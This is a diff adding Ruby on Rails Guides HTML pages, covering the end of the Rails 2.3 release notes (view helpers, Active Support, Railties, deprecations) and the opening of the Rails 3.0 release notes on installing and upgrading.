+  &quot;Cowboy Hat&quot;, &quot;Choose a product...&quot;)
+</pre>
+</div>
+</notextile>
+
+<p>returns</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;option value=&quot;&quot;&gt;Choose a product...&lt;/option&gt;
+&lt;optgroup label=&quot;Hats&quot;&gt;
+  &lt;option value=&quot;Baseball Cap&quot;&gt;Baseball Cap&lt;/option&gt;
+  &lt;option selected=&quot;selected&quot; value=&quot;Cowboy Hat&quot;&gt;Cowboy Hat&lt;/option&gt;
+&lt;/optgroup&gt;
+</pre>
+</div>
+</notextile>
+
+<h4 id="disabled-option-tags-for-form-select-helpers">6.7 Disabled Option Tags for Form Select Helpers</h4>
+<p>The form select helpers (such as <tt>select</tt> and <tt>options_for_select</tt>) now support a <tt>:disabled</tt> option, which can take a single value or an array of values to be disabled in the resulting tags:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+select(:post, :category, Post::CATEGORIES, :disabled =&gt; โ€˜privateโ€˜)
+</pre>
+</div>
+</notextile>
+
+<p>returns</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&lt;select name=โ€œpost[category]โ€œ&gt;
+&lt;option&gt;story&lt;/option&gt;
+&lt;option&gt;joke&lt;/option&gt;
+&lt;option&gt;poem&lt;/option&gt;
+&lt;option disabled=โ€œdisabledโ€œ&gt;private&lt;/option&gt;
+&lt;/select&gt;
+</pre>
+</div>
+</notextile>
+
+<p>You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+options_from_collection_for_select(@product.sizes, :name, :id, :disabled =&gt; lambda{|size| size.out_of_stock?})
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://tekin.co.uk/">Tekin Suleyman</a></li>
+	<li>More Information: <a href="http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/">New in rails 2.3 &#8211; disabled option tags and lambdas for selecting and disabling options from collections</a></li>
+</ul>
+<h4 id="a-note-about-template-loading">6.8 A Note About Template Loading</h4>
+<p>Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don&#8217;t check for a new template file when they&#8217;re rendered &#8211; but they also mean that you can&#8217;t replace a template &#8220;on the fly&#8221; without restarting the server.</p>
+<p>In most cases, you&#8217;ll want template caching to be turned on in production, which you can do by making a setting in your <tt>production.rb</tt> file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+config.action_view.cache_template_loading = true
+</pre>
+</div>
+</notextile>
+
+<p>This line will be generated for you by default in a new Rails 2.3 application. If you&#8217;ve upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.</p>
+<h4 id="other-action-view-changes">6.9 Other Action View Changes</h4>
+<ul>
+	<li>Token generation for <span class="caps">CSRF</span> protection has been simplified; now Rails uses a simple random string generated by <tt>ActiveSupport::SecureRandom</tt> rather than mucking around with session IDs.</li>
+	<li><tt>auto_link</tt> now properly applies options (such as <tt>:target</tt> and <tt>:class</tt>) to generated e-mail links.</li>
+	<li>The <tt>autolink</tt> helper has been refactored to make it a bit less messy and more intuitive.</li>
+	<li><tt>current_page?</tt> now works properly even when there are multiple query parameters in the <span class="caps">URL</span>.</li>
+</ul>
+<h3 id="active-support">7 Active Support</h3>
+<p>Active Support has a few interesting changes, including the introduction of <tt>Object#try</tt>.</p>
+<h4 id="object-try">7.1 Object#try</h4>
+<p>A lot of folks have adopted the notion of using try() to attempt operations on objects. It&#8217;s especially helpful in views where you can avoid nil-checking by writing code like <tt>&lt;%= @person.try(:name) %&gt;</tt>. Well, now it&#8217;s baked right into Rails. As implemented in Rails, it raises <tt>NoMethodError</tt> on private methods and always returns <tt>nil</tt> if the object is nil.</p>
+<ul>
+	<li>More Information: <a href="http://ozmm.org/posts/try.html" title="">try</a>.</li>
+</ul>
+<h4 id="object-tap-backport">7.2 Object#tap Backport</h4>
+<p><tt>Object#tap</tt> is an addition to <a href="http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309">Ruby 1.9</a> and 1.8.7 that is similar to the <tt>returning</tt> method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.</p>
+<h4 id="swappable-parsers-for-xmlmini">7.3 Swappable Parsers for XMLmini</h4>
+<p>The support for <span class="caps">XML</span> parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard <span class="caps">REXML</span> implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+XmlMini.backend = 'LibXML'
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://www.movesonrails.com/">Bart ten Brinke</a></li>
+	<li>Lead Contributor: <a href="http://tenderlovemaking.com/">Aaron Patterson</a></li>
+</ul>
+<h4 id="fractional-seconds-for-timewithzone">7.4 Fractional seconds for TimeWithZone</h4>
+<p>The <tt>Time</tt> and <tt>TimeWithZone</tt> classes include an <tt>xmlschema</tt> method to return the time in an <span class="caps">XML</span>-friendly string. As of Rails 2.3, <tt>TimeWithZone</tt> supports the same argument for specifying the number of digits in the fractional second part of the returned string that <tt>Time</tt> does:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&gt;&gt; Time.zone.now.xmlschema(6)
+=&gt; &quot;2009-01-16T13:00:06.13653Z&quot;
+</pre>
+</div>
+</notextile>
+
+<ul>
+	<li>Lead Contributor: <a href="http://www.workingwithrails.com/person/13536-nicholas-dainty">Nicholas Dainty</a></li>
+</ul>
+<h4 id="json-key-quoting">7.5 <span class="caps">JSON</span> Key Quoting</h4>
+<p>If you look up the spec on the &#8220;json.org&#8221; site, you&#8217;ll discover that all keys in a <span class="caps">JSON</span> structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.</p>
+<h4 id="other-active-support-changes">7.6 Other Active Support Changes</h4>
+<ul>
+	<li>You can use <tt>Enumerable#none?</tt> to check that none of the elements match the supplied block.</li>
+	<li>If you&#8217;re using Active Support <a href="http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/">delegates</a>, the new <tt>:allow_nil</tt> option lets you return <tt>nil</tt> instead of raising an exception when the target object is nil.</li>
+	<li><tt>ActiveSupport::OrderedHash</tt>: now implements <tt>each_key</tt> and <tt>each_value</tt>.</li>
+	<li><tt>ActiveSupport::MessageEncryptor</tt> provides a simple way to encrypt information for storage in an untrusted location (like cookies).</li>
+	<li>Active Support&#8217;s <tt>from_xml</tt> no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it&#8217;s been carting around.</li>
+	<li>If you memoize a private method, the result will now be private.</li>
+	<li><tt>String#parameterize</tt> accepts an optional separator: <tt>"Quick Brown Fox".parameterize('_') => "quick_brown_fox"</tt>.</li>
+	<li><tt>number_to_phone</tt> accepts 7-digit phone numbers now.</li>
+	<li><tt>ActiveSupport::Json.decode</tt> now handles <tt>\u0000</tt> style escape sequences.</li>
+</ul>
+<h3 id="railties">8 Railties</h3>
+<p>In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.</p>
+<h4 id="rails-metal">8.1 Rails Metal</h4>
+<p>Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.</p>
+<ul>
+	<li>More Information:
+	<ul>
+		<li><a href="http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal">Introducing Rails Metal</a></li>
+		<li><a href="http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m">Rails Metal: a micro-framework with the power of Rails</a></li>
+		<li><a href="http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html">Metal: Super-fast Endpoints within your Rails Apps</a></li>
+		<li><a href="http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal">What&#8217;s New in Edge Rails: Rails Metal</a></li>
+	</ul></li>
+</ul>
+<h4 id="application-templates">8.2 Application Templates</h4>
+<p>Rails 2.3 incorporates Jeremy McAnally&#8217;s <a href="http://github.com/jeremymcanally/rg/tree/master">rg</a> application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the <tt>rails</tt> command. There&#8217;s also a rake task to apply a template to an existing application:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+rake rails:template LOCATION=~/template.rb
+</pre>
+</div>
+</notextile>
+
+<p>This will layer the changes from the template on top of whatever code the project already contains.</p>
+<ul>
+	<li>Lead Contributor: <a href="http://www.jeremymcanally.com/">Jeremy McAnally</a></li>
+	<li>More Info:<a href="http://m.onkey.org/2008/12/4/rails-templates">Rails templates</a></li>
+</ul>
+<h4 id="quieter-backtraces">8.3 Quieter Backtraces</h4>
+<p>Building on Thoughtbot&#8217;s <a href="http://www.thoughtbot.com/projects/quietbacktrace">Quiet Backtrace</a> plugin, which allows you to selectively remove lines from <tt>Test::Unit</tt> backtraces, Rails 2.3 implements <tt>ActiveSupport::BacktraceCleaner</tt> and <tt>Rails::BacktraceCleaner</tt> in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a <tt>config/backtrace_silencers.rb</tt> file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.</p>
+<h4 id="faster-boot-time-in-development-mode-with-lazy-loading-autoload">8.4 Faster Boot Time in Development Mode with Lazy Loading/Autoload</h4>
+<p>Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they&#8217;re actually needed. The core frameworks &#8211; Active Support, Active Record, Action Controller, Action Mailer and Action View &#8211; are now using <tt>autoload</tt> to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.</p>
+<p>You can also specify (by using the new <tt>preload_frameworks</tt> option) whether the core libraries should be autoloaded at startup. This defaults to <tt>false</tt> so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once &#8211; Passenger and JRuby both want to see all of Rails loaded together.</p>
+<h4 id="rake-gem-task-rewrite">8.5 rake gem Task Rewrite</h4>
+<p>The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to &#8220;chicken and egg&#8221; dependency issues when you&#8217;re bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.</p>
+<ul>
+	<li>Lead Contributor: <a href="http://www.workingwithrails.com/person/12240-david-dollar">David Dollar</a></li>
+</ul>
+<h4 id="other-railties-changes">8.6 Other Railties Changes</h4>
+<ul>
+	<li>The instructions for updating a CI server to build Rails have been updated and expanded.</li>
+	<li>Internal Rails testing has been switched from <tt>Test::Unit::TestCase</tt> to <tt>ActiveSupport::TestCase</tt>, and the Rails core requires Mocha to test.</li>
+	<li>The default <tt>environment.rb</tt> file has been decluttered.</li>
+	<li>The dbconsole script now lets you use an all-numeric password without crashing.</li>
+	<li><tt>Rails.root</tt> now returns a <tt>Pathname</tt> object, which means you can use it directly with the <tt>join</tt> method to <a href="http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/">clean up existing code</a> that uses <tt>File.join</tt>.</li>
+	<li>Various files in /public that deal with <span class="caps">CGI</span> and <span class="caps">FCGI</span> dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding <tt>--with-dispatchers</tt> when you run the <tt>rails</tt> command, or add them later with <tt>rake rails:update:generate_dispatchers</tt>).</li>
+	<li>Rails Guides have been converted from AsciiDoc to Textile markup.</li>
+	<li>Scaffolded views and controllers have been cleaned up a bit.</li>
+	<li><tt>script/server</tt> now accepts a <tt>&#8212;path</tt> argument to mount a Rails application from a specific path.</li>
+	<li>If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the &#8220;chicken-and-egg&#8221; problems where rake gems:install couldn&#8217;t run because gems were missing.</li>
+	<li>Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.</li>
+</ul>
+<h3 id="deprecated">9 Deprecated</h3>
+<p>A few pieces of older code are deprecated in this release:</p>
+<ul>
+	<li>If you&#8217;re one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you&#8217;ll need to know that those scripts are no longer included in core Rails. If you need them, you&#8217;ll be able to pick up copies via the <a href="http://github.com/rails/irs_process_scripts/tree">irs_process_scripts</a> plugin.</li>
+	<li><tt>render_component</tt> goes from &#8220;deprecated&#8221; to &#8220;nonexistent&#8221; in Rails 2.3. If you still need it, you can install the <a href="http://github.com/rails/render_component/tree/master">render_component plugin</a>.</li>
+	<li>Support for Rails components has been removed.</li>
+	<li>If you were one of the people who got used to running <tt>script/performance/request</tt> to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. Thereโ€™s a new request_profiler plugin that you can install to get the exact same functionality back.</li>
+	<li><tt>ActionController::Base#session_enabled?</tt> is deprecated because sessions are lazy-loaded now.</li>
+	<li>The <tt>:digest</tt> and <tt>:secret</tt> options to <tt>protect_from_forgery</tt> are deprecated and have no effect.</li>
+	<li>Some integration test helpers have been removed. <tt>response.headers["Status"]</tt> and <tt>headers["Status"]</tt> will no longer return anything. Rack does not allow &#8220;Status&#8221; in its return headers. However you can still use the <tt>status</tt> and <tt>status_message</tt> helpers. <tt>response.headers["cookie"]</tt> and <tt>headers["cookie"]</tt> will no longer return any <span class="caps">CGI</span> cookies. You can inspect <tt>headers["Set-Cookie"]</tt> to see the raw cookie header or use the <tt>cookies</tt> helper to get a hash of the cookies sent to the client.</li>
+	<li><tt>formatted_polymorphic_url</tt> is deprecated. Use <tt>polymorphic_url</tt> with <tt>:format</tt> instead.</li>
+	<li>The <tt>:http_only</tt> option in <tt>ActionController::Response#set_cookie</tt> has been renamed to <tt>:httponly</tt>.</li>
+	<li>The <tt>:connector</tt> and <tt>:skip_last_comma</tt> options of <tt>to_sentence</tt> have been replaced by <tt>:words_connnector</tt>, <tt>:two_words_connector</tt>, and <tt>:last_word_connector</tt> options.</li>
+	<li>Posting a multipart form with an empty <tt>file_field</tt> control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack&#8217;s multipart parser and the old Rails one.</li>
+</ul>
+<h3 id="credits">10 Credits</h3>
+<p>Release notes compiled by <a href="http://afreshcup.com">Mike Gunderloy</a>. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.</p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/3_0_release_notes.html
@@ -0,0 +1,662 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title>Ruby on Rails Guides: Ruby on Rails 3.0 Release Notes</title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
+        <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a>
+          <div id="guides" class="clearfix" style="display: none;">
+            <hr />
+            <dl class="L">
+              <dt>Start Here</dt>
+              <dd><a href="getting_started.html">Getting Started with Rails</a></dd>
+              <dt>Models</dt>
+              <dd><a href="migrations.html">Rails Database Migrations</a></dd>
+              <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd>
+              <dd><a href="association_basics.html">Active Record Associations</a></dd>
+              <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd>
+              <dt>Views</dt>
+              <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd>
+              <dd><a href="form_helpers.html">Action View Form Helpers</a></dd>
+              <dt>Controllers</dt>
+              <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd>
+              <dd><a href="routing.html">Rails Routing from the Outside In</a></dd>
+            </dl>
+            <dl class="R">
+              <dt>Digging Deeper</dt>
+              <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd>
+              <dd><a href="i18n.html">Rails Internationalization API</a></dd>
+              <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd>
+              <dd><a href="testing.html">Testing Rails Applications</a></dd>
+              <dd><a href="security.html">Securing Rails Applications</a></dd>
+              <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd>
+              <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd>
+              <dd><a href="configuring.html">Configuring Rails Applications</a></dd>
+              <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd>
+              <dd><a href="caching_with_rails.html">Caching with Rails</a></dd>
+
+              <dt>Extending Rails</dt>
+              <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd>
+              <dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
+              <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd>
+
+              <dt>Contributing to Rails</dt>
+              <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd>
+              <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd>
+              <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd>
+
+              <dt>Release Notes</dt>
+              <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd>
+              <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd>
+              <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd>
+            </dl>
+          </div>
+        </li>
+        <li><a href="contribute.html">Contribute</a></li>
+        <li><a href="credits.html">Credits</a></li>
+      </ul>
+    </div>
+  </div>
+  <hr class="hide" />
+
+  <div id="feature">
+    <div class="wrapper">
+      <h2>Ruby on Rails 3.0 Release Notes</h2>
+<p>Rails 3.0 is ponies and rainbows! It&#8217;s going to cook you dinner and fold your laundry. You&#8217;re going to wonder how life was ever possible before it arrived. It&#8217;s the Best Version of Rails We&#8217;ve Ever Done!</p>
+<p>But seriously now, it&#8217;s really good stuff. There are all the good ideas brought over from when the Merb team joined the party and brought a focus on framework agnosticism, slimmer and faster internals, and a handful of tasty APIs. If you&#8217;re coming to Rails 3.0 from Merb 1.x, you should recognize lots. If you&#8217;re coming from Rails 2.x, you&#8217;re going to love it too.</p>
+<p>Even if you don&#8217;t give a hoot about any of our internal cleanups, Rails 3.0 is going to delight. We have a bunch of new features and improved APIs. It&#8217;s never been a better time to be a Rails developer. Some of the highlights are:</p>
+<ul>
+	<li>Brand new router with an emphasis on RESTful declarations</li>
+	<li>New Action Mailer <span class="caps">API</span> modeled after Action Controller (now without the agonizing pain of sending multipart messages!)</li>
+	<li>New Active Record chainable query language built on top of relational algebra</li>
+	<li>Unobtrusive JavaScript helpers with drivers for Prototype, jQuery, and more coming (end of inline JS)</li>
+	<li>Explicit dependency management with Bundler</li>
+</ul>
+<p>On top of all that, we&#8217;ve tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices.</p>
+<p>These release notes cover the major upgrades, but don&#8217;t include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the <a href="http://github.com/rails/rails/commits/master">list of commits</a> in the main Rails repository on GitHub.</p>
+
+            <div id="subCol">
+        <h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
+        <ol class="chapters">
+<li><a href="#upgrading-to-rails-3">Upgrading to Rails 3</a><ul><li><a href="#rails-3-requires-at-least-ruby-1-8-7">Rails 3 requires at least Ruby 1.8.7</a></li> <li><a href="#rails-application-object">Rails Application object</a></li> <li><a href="#script-replaced-by-script-rails">script/* replaced by script/rails</a></li> <li><a href="#dependencies-and-config-gem">Dependencies and config.gem</a></li> <li><a href="#upgrade-process">Upgrade Process</a></li></ul></li><li><a href="#creating-a-rails-3-0-application">Creating a Rails 3.0 application</a><ul><li><a href="#vendoring-gems">Vendoring Gems</a></li> <li><a href="#living-on-the-edge">Living on the Edge</a></li></ul></li><li><a href="#rails-architectural-changes">Rails Architectural Changes</a><ul><li><a href="#railties-restrung">Railties Restrung</a></li> <li><a href="#all-rails-core-components-are-decoupled">All Rails core components are decoupled</a></li> <li><a href="#active-model-abstraction">Active Model Abstraction</a></li> <li><a href="#controller-abstraction">Controller Abstraction</a></li> <li><a href="#arel-integration">Arel Integration</a></li> <li><a href="#mail-extraction">Mail Extraction</a></li></ul></li><li><a href="#documentation">Documentation</a></li><li><a href="#internationalization">Internationalization</a></li><li><a href="#railties">Railties</a></li><li><a href="#action-pack">Action Pack</a><ul><li><a href="#abstract-controller">Abstract Controller</a></li> <li><a href="#action-controller">Action Controller</a></li> <li><a href="#action-dispatch">Action Dispatch</a></li> <li><a href="#action-view">Action View</a></li></ul></li><li><a href="#active-model">Active Model</a><ul><li><a href="#orm-abstraction-and-action-pack-interface"><span class="caps">ORM</span> Abstraction and Action Pack Interface</a></li> <li><a href="#validations">Validations</a></li></ul></li><li><a href="#active-record">Active Record</a><ul><li><a href="#query-interface">Query Interface</a></li> <li><a href="#enhancements">Enhancements</a></li> <li><a href="#patches-and-deprecations">Patches and Deprecations</a></li></ul></li><li><a href="#active-resource">Active Resource</a></li><li><a href="#active-support">Active Support</a></li><li><a href="#action-mailer">Action Mailer</a></li><li><a href="#credits">Credits</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <p>To install Rails 3:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+# Use sudo if your setup requires it
+gem install rails
+</pre>
+</div>
+</notextile>
+
+<h3 id="upgrading-to-rails-3">1 Upgrading to Rails 3</h3>
+<p>If you&#8217;re upgrading an existing application, it&#8217;s a great idea to have good test coverage before going in. You should also first upgrade to Rails 2.3.5 and make sure your application still runs as expected before attempting to update to Rails 3. Then take heed of the following changes:</p>
+<h4 id="rails-3-requires-at-least-ruby-1-8-7">1.1 Rails 3 requires at least Ruby 1.8.7</h4>
+<p>Rails 3.0 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.0 is also compatible with Ruby 1.9.2.</p>
+<div class='info'><p>Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing.</p></div>
+<h4 id="rails-application-object">1.2 Rails Application object</h4>
+<p>As part of the groundwork for supporting running multiple Rails applications in the same process, Rails 3 introduces the concept of an Application object. An application object holds all the application specific configurations and is very similar in nature to <tt>config/environment.rb</tt> from the previous versions of Rails.</p>
+<p>Each Rails application now must have a corresponding application object. The application object is defined in <tt>config/application.rb</tt>. If you&#8217;re upgrading an existing application to Rails 3, you must add this file and move the appropriate configurations from <tt>config/environment.rb</tt> to <tt>config/application.rb</tt>.</p>
+<h4 id="script-replaced-by-script-rails">1.3 script/* replaced by script/rails</h4>
+<p>The new <tt>script/rails</tt> replaces all the scripts that used to be in the <tt>script</tt> directory. You do not run <tt>script/rails</tt> directly though, the <tt>rails</tt> command detects it is being invoked in the root of a Rails application and runs the script for you. Intended usage is:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+rails console                      # instead of script/console
+rails g scaffold post title:string # instead of script/generate scaffold post title:string
+</pre>
+</div>
+</notextile>
+
+<p>Run <tt>rails &#8212;help</tt> for a list of all the options.</p>
+<h4 id="dependencies-and-config-gem">1.4 Dependencies and config.gem</h4>
+<p>The <tt>config.gem</tt> method is gone and has been replaced by using <tt>bundler</tt> and a <tt>Gemfile</tt>, see <a href="#vendoring-gems">Vendoring Gems</a> below.</p>
+<h4 id="upgrade-process">1.5 Upgrade Process</h4>
+<p>To help with the upgrade process, a plugin named <a href="http://github.com/rails/rails_upgrade">Rails Upgrade</a> has been created to automate part of it.</p>
+<p>Simply install the plugin, then run <tt>rake rails:upgrade:check</tt> to check your app for pieces that need to be updated (with links to information on how to update them).  It also offers a task to generate a <tt>Gemfile</tt> based on your current <tt>config.gem</tt> calls and a task to generate a new routes file from your current one.  To get the plugin, simply run the following:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+ruby script/plugin install git://github.com/rails/rails_upgrade.git
+</pre>
+</div>
+</notextile>
+
+<p>You can see an example of how that works at <a href="http://omgbloglol.com/post/364624593/rails-upgrade-is-now-an-official-plugin">Rails Upgrade is now an Official Plugin</a></p>
+<p>Aside from Rails Upgrade tool, if you need more help, there are people on <span class="caps">IRC</span> and <a href="http://groups.google.com/group/rubyonrails-talk">rubyonrails-talk</a> that are probably doing the same thing, possibly hitting the same issues.  Be sure to blog your own experiences when upgrading so others can benefit from your knowledge!</p>
+<p>More information &#8211; <a href="http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade">The Path to Rails 3: Approaching the upgrade</a></p>
+<h3 id="creating-a-rails-3-0-application">2 Creating a Rails 3.0 application</h3>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+</pre>
+</div>
+</notextile>
+
+<h4 id="vendoring-gems">2.1 Vendoring Gems</h4>
+<p>Rails now uses a <tt>Gemfile</tt> in the application root to determine the gems you require for your application to start. This <tt>Gemfile</tt> is processed by the <a href="http://github.com/carlhuda/bundler">Bundler</a>, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn&#8217;t depend on the system gems.</p>
+<p>More information: &#8211; <a href="http://gembundler.com">bundler homepage</a></p>
+<h4 id="living-on-the-edge">2.2 Living on the Edge</h4>
+<p><tt>Bundler</tt> and <tt>Gemfile</tt> makes freezing your Rails application easy as pie with the new dedicated <tt>bundle</tt> command, so <tt>rake freeze</tt> is no longer relevant and has been dropped.</p>
+<p>If you want to bundle straight from the Git repository, you can pass the <tt>--edge</tt> flag:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ rails new myapp --edge
+</pre>
+</div>
+</notextile>
+
+<p>If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the <tt>--dev</tt> flag:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: plain; gutter: false; toolbar: false">
+$ ruby /path/to/rails/bin/rails new myapp --dev
+</pre>
+</div>
+</notextile>
+
+<h3 id="rails-architectural-changes">3 Rails Architectural Changes</h3>
+<p>There are six major changes in the architecture of Rails.</p>
+<h4 id="railties-restrung">3.1 Railties Restrung</h4>
